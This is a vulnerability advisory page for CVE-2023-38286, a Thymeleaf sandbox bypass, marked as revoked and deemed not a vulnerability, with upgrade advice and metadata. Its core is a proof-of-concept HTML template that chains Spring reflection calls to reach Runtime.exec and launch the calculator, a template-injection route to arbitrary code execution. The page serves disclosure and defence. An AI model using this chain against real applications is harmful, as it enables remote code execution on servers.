Homepage

Sandbox Bypass The advisory has been revoked - it doesn't affect any version of package org.thymeleaf:thymeleaf-parent  (opens in a new tab)

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.09% (39th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-ORGTHYMELEAF-5776186
  • published14 Jul 2023
  • disclosed14 Jul 2023
  • creditp1n93r
Report a new vulnerability Found a mistake?

Introduced: 14 Jul 2023

CVE-2023-38286  (opens in a new tab)
CWE-265  (opens in a new tab)

How to fix?

Upgrade org.thymeleaf:thymeleaf-parent to version 3.1.2.RELEASE or higher.

Amendment

This was deemed not a vulnerability.

Overview

Affected versions of this package are vulnerable to Sandbox Bypass due to insufficient checks, by allowing an attacker to execute arbitrary code via a crafted HTML.

PoC

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
</head>
<body>

<tr
        th:with="getRuntimeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'getRuntime' )}"
>
    <td>
        <a
                th:with="runtimeObj=${T(org.springframework.util.ReflectionUtils).invokeMethod(getRuntimeMethod, null)}"
        >
            <a
                    th:with="exeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'exec', ''.getClass() )}"
            >
                <a
                        th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(exeMethod, runtimeObj, 'calc' )
                }"
                        th:href="${param2}"
                ></a>
            </a>

        </a>
    </td>
</tr>

</body>
</html>

References